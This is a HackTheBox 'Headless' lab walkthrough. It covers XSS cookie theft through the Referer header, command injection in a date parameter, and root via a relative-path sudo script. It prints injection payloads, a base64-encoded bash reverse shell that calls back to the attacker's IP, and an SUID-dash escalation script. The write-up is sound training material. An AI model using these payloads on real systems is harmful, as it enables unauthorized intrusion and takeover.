HackTheBox - Headless Walkthrough

HackTheBox - Headless Walkthrough

Introduction

I am trying to stay on top of not only completing HTB machines but posting my walkthroughs as well. It takes a lot of work to put everything together, but my intention is to share my methodology and hopefully help someone along the way.

Today, we will be walking through 'Headless', an easy-rated machine on HTB created by dvir1. The machine begins with identifying an XSS vulnerability to steal an administrator's cookie. This stolen cookie is then used to access a separate page vulnerable to code injection. Finally, a Bash script was abused to escalate privileges to root.

Without further ado, let's do this thing.

Enumeration

I started by running an Nmap scan across all ports to identify the services running on the host. Based on the results of the first scan, I ran a more targeted Nmap scan, focusing on the open ports discovered in the initial scan.

[2024-07-16 03:56:10Z] [~/D/c/h/headless] > sudo nmap -T4 -p- 10.10.11.8 -vvv -oN scans/nmap-allports
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-16 23:56 EDT
Initiating Ping Scan at 23:56
Scanning 10.10.11.8 [4 ports]
Completed Ping Scan at 23:56, 0.07s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 23:56
Completed Parallel DNS resolution of 1 host. at 23:56, 0.16s elapsed
DNS resolution of 1 IPs took 0.16s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 23:56
Scanning 10.10.11.8 [65535 ports]
Discovered open port 22/tcp on 10.10.11.8
Discovered open port 5000/tcp on 10.10.11.8
Completed SYN Stealth Scan at 23:56, 17.80s elapsed (65535 total ports)
Nmap scan report for 10.10.11.8
Host is up, received echo-reply ttl 63 (0.064s latency).
Scanned at 2024-07-16 23:56:36 EDT for 18s
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 63
5000/tcp open  upnp    syn-ack ttl 63

Nmap output for all port scan

Two ports were found: 22 and 5000. Let's run a more targeted Nmap scan against just these open ports.

[2024-07-16 03:56:10Z] [~/D/c/h/headless] > nmap -sC -sV -vv -oN scans/nmap-openports -p22,5000 10.10.11.8
Nmap scan report for 10.10.11.8
Host is up, received echo-reply ttl 63 (0.065s latency).
Scanned at 2024-07-16 23:58:04 EDT for 103s

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJXBmWeZYo1LR50JTs8iKyICHT76i7+fBPoeiKDXRhzjsfMWruwHrosHoSwRxiqUdaJYLwJgWOv+jFAB45nRQHw=
|   256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICkBEMKoic0Bx5yLYG4DIT5G797lraNQsG5dtyZUl9nW
5000/tcp open  upnp?   syn-ack ttl 63
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.2.2 Python/3.11.2
|     Date: Wed, 17 Jul 2024 03:58:22 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 2799
|     Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>Under Construction</title>
|     <style>
|     body {
|     font-family: 'Arial', sans-serif;
|     background-color: #f7f7f7;
|     margin: 0;
|     padding: 0;
|     display: flex;
|     justify-content: center;
|     align-items: center;
|     height: 100vh;
|     .container {
|     text-align: center;
|     background-color: #fff;
|     border-radius: 10px;
|     box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.2);
|   RTSPRequest: 
|     <!DOCTYPE HTML>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>

Nmap output for open ports

22 - SSH

I am going to skip enumerating SSH for now. There is not much we can do with it right now without some user credentials or SSH keys.

5000 - HTTP

A web server running Werkzeug with an under-construction page for the index page. The first thing I wanted to check when running Werkzeug was to see if debugging was active via /console, but sadly, it was not.

Index page for http://10.10.11.8:5000

There was a button for questions that led to a contact support page with a form for us to fill out.

Contact support page

When the form was filled out with dummy data, there was no feedback showing a successful submission. To test for potential vulnerabilities, I used a basic XSS payload in the message field. If successful, this payload should trigger an alert message popup.

Testing basic XSS payload

However, instead of a popup, I received a message indicating that a hacking attempt had been detected. It appears the application is configured to identify malicious payloads and alert someone if any are found.

While the content of the fields on the contact page was not reflected back to us, the headers were. Knowing that someone could look at these reports if we use naughty characters, we could use XSS to retrieve another cookie.

Hacking attempt had been detected

I filled out the form again, but this time, I intercepted the request in Burp Suite and modified the Referer header to include the same XSS payload I had previously used in the message field.

This triggered the 'hacking detected' message again. Triggering this message was important because it means the report is sent to someone for review, potentially executing our XSS payload on their end.

Testing XSS payload via Referer header

After forwarding the modified request, the 'alert 1' popup appeared, confirming the execution of the XSS payload in the header. This confirms that while the message field in the form is not vulnerable, certain headers are.

Although I did not test this, the User-Agent header could also be tested to confirm if it is vulnerable as well.

Confirmed XSS payload was successful

I filled out the contact support form again, using the same message as before. This time, I used an XSS payload in the Referer header that attempted to load an image from my Kali VM was set to include the cookie in the request.

Reading the is_admin cookie this way was possible as it was set without the HttpOnly flag.

If successful, I would see the HTTP request come through to my Kali VM, along with a different cookie than the one I already had.

XSS payload in Referer header to steal cookie

After forwarding the request, I got exactly what I wanted to see, the cookie of the assumed administrator.

Receiving HTTP GET request that contains admin cookie

We know this is an administrator cookie because decoding the first part of the Base64-encoded cookie returns admin, whereas previously it was user.

Original Cookie:

Base64 decoding for user cookie

New Cookie:

Base64 decoding for admin cookie

Finding /Dashboard Directory

So we have a new cookie - now what? We need to figure out where we can use it.

Turning to directory fuzzing with ffuf, I found a new directory called /dashboard along with /support which we already knew about.

Going to this directory returned an unauthorized error. Darn.

Unauthorized error on /dashboard

Using the developer tools in Firefox, I confirmed this is where the is_admin cookie is referenced. I replaced the existing cookie with the one obtained by sending the XSS payload via the support form. After refreshing the page, the administrator dashboard successfully loaded

Replacing is_admin cookie with admin cookie

Generating the report returns that all systems are up and running.

Administrator dashboard

If this same request is intercepted in Burp Suite, there is only one parameter - date.

Validating HTTP parameters in Burp Suite

Abusing Command Injection for Foothold

I started testing various payloads and found this field is vulnerable to command injection by appending the whoami and hostname commands.

date=2023-09-15;whoami;hostname
Validating command injection vulnerability

Using the command injection to get a list of users on the box via /etc/passwd.

date=2023-09-15;cat /etc/passwd|grep /bin/bash
Gathering valid users via /etc/passwd

With arbitrary code execution confirmed, I used a Base64-encoded Bash one-liner to get a reverse shell.

date=2023-09-15;bash -c 'echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjE0LzgwODEgMD4mMQ== | base64 -d | /bin/bash'

## Encoded command
[2024-07-18 03:19:49Z] [~] > echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjE0LzgwODEgMD4mMQ== | base64 -d
/bin/bash -i >& /dev/tcp/10.10.16.14/8081 0>&1

Base64 encoding Bash reverse shell oneliner

Sending Bash reverse shell via Burp Suite

Sending the request resulted in a reverse shell as the dvir user.

[2024-07-18 03:15:59Z] [~/D/c/h/headless] > gnl 8081
[+] Network interfaces...
eth0: 192.168.131.130
tun0: 10.10.16.14
tun0: dead:beef:4::100c

[+] Starting netcat listener...
listening on [any] 8081 ...
connect to [10.10.16.14] from (UNKNOWN) [10.10.11.8] 46102
bash: cannot set terminal process group (1377): Inappropriate ioctl for device
bash: no job control in this shell
dvir@headless:~/app$ 

Getting initial foothold as dvir

Grabbing the user flag.

dvir@headless:~$ cat user.txt
cat user.txt
4cXXXXXXXXXXXXXXXXXXXXXXXXXXXX32

User flag contents

Userland Enumeration

I found an interesting email in /var/mail/dvir that describes a systems check script and that we were given special privileges to use it.

dvir@headless:/var/mail$ cat dvir
cat dvir
Subject: Important Update: New System Check Script

Hello!

We have an important update regarding our server. In response to recent compatibility and crashing issues, we've introduced a new system check script.

What's special for you?
- You've been granted special privileges to use this script.
- It will help identify and resolve system issues more efficiently.
- It ensures that necessary updates are applied when needed.

Rest assured, this script is at your disposal and won't affect your regular use of the system.

If you have any questions or notice anything unusual, please don't hesitate to reach out to us. We're here to assist you with any concerns.

By the way, we're still waiting on you to create the database initialization script!
Best regards,
Headless

Email sent to dvir regarding system check script

Following the slight hint in the email, I checked the sudo privileges for dvir. Sure enough, they can run /user/bin/syscheck with sudo privileges. This sounds familiar…

dvir@headless:~$ sudo -l
sudo -l
Matching Defaults entries for dvir on headless:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User dvir may run the following commands on headless:
    (ALL) NOPASSWD: /usr/bin/syscheck

Output of sudo privileges for the dvir user

This script does a decent job of referencing binaries by their absolute paths. However, there is a reference to a file called initdb.sh that is the only one referenced by a relative path.

dvir@headless:~$ cat /usr/bin/syscheck
cat /usr/bin/syscheck
#!/bin/bash

if [ "$EUID" -ne 0 ]; then
  exit 1
fi

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2>/dev/null <-- relative path here
else
  /usr/bin/echo "Database service is running."
fi

exit 0

Contents of /usr/bin/syscheck script

Privlege Escalation via /usr/bin/syscheck

As the syscheck script references the initdb.sh file in the current working directory and we can run the script with sudo privileges, we can create this file wherever we want, and the script will use it.

I created a new intidb.sh file that copies /bin/dash to /tmp/dash and then marks the copied dash binary with SUID bit set. I granted executable rights to the initdb.sh script as it is being invoked by the syscheck script.

dvir@headless:/tmp$ echo "cp /bin/dash /tmp/dash && chmod +s /tmp/dash" > initdb.sh
echo "cp /bin/dash /tmp/dash && chmod +s /tmp/dash" > initdb.sh

dvir@headless:/tmp$ chmod +x initdb.sh
chmod +x initdb.sh

dvir@headless:/tmp$ ls -l
ls -l
total 32
-rwxr-xr-x  1 dvir dvir   45 Jul 19 07:03 initdb.sh
drwxr-xr-x 14 dvir dvir 4096 Jul 19 06:47 rust_mozprofilevivii9
<snip>

Creating malicious initdb.sh script

After running /usr/bin/syscheck with sudo privileges, there is a new dash binary with SUID bits set in /tmp. This is the work of our malicious initdb.sh file.

dvir@headless:/tmp$ sudo /usr/bin/syscheck
sudo /usr/bin/syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 1.4G
System load average:  0.66, 0.64, 0.55
Database service is not running. Starting it...

dvir@headless:/tmp$ ls -l
ls -l
total 156
-rwsr-sr-x  1 root root 125640 Jul 19 07:04 dash <-- Copied dash binary
-rwxr-xr-x  1 dvir dvir     45 Jul 19 07:03 initdb.sh
drwxr-xr-x 14 dvir dvir   4096 Jul 19 06:47 rust_mozprofilevivii9
<snip>

Running syscheck script to copy dash binary with SUID bit

Getting a root shell is trivial with this dash binary.

dvir@headless:/tmp$ ./dash -p
./dash -p
whoami
root
cat /root/root.txt
e0XXXXXXXXXXXXXXXXXXXXXXXXXXXX57

Getting root shell

This box was an interesting opportunity to flex your web application hacking skills, featuring both an XSS vulnerability and a command injection vulnerability. The privilege escalation phase was interesting, especially to stress the importance of absolute versus relative paths and their potential for exploitation. Hope you enjoyed this writeup!

Until next time...

Kyle Gray

Kyle Gray

Hey there 👋 Certs - ITILv3, eJPT, PNPT, CRTP, CRTE, PJPT, CRTO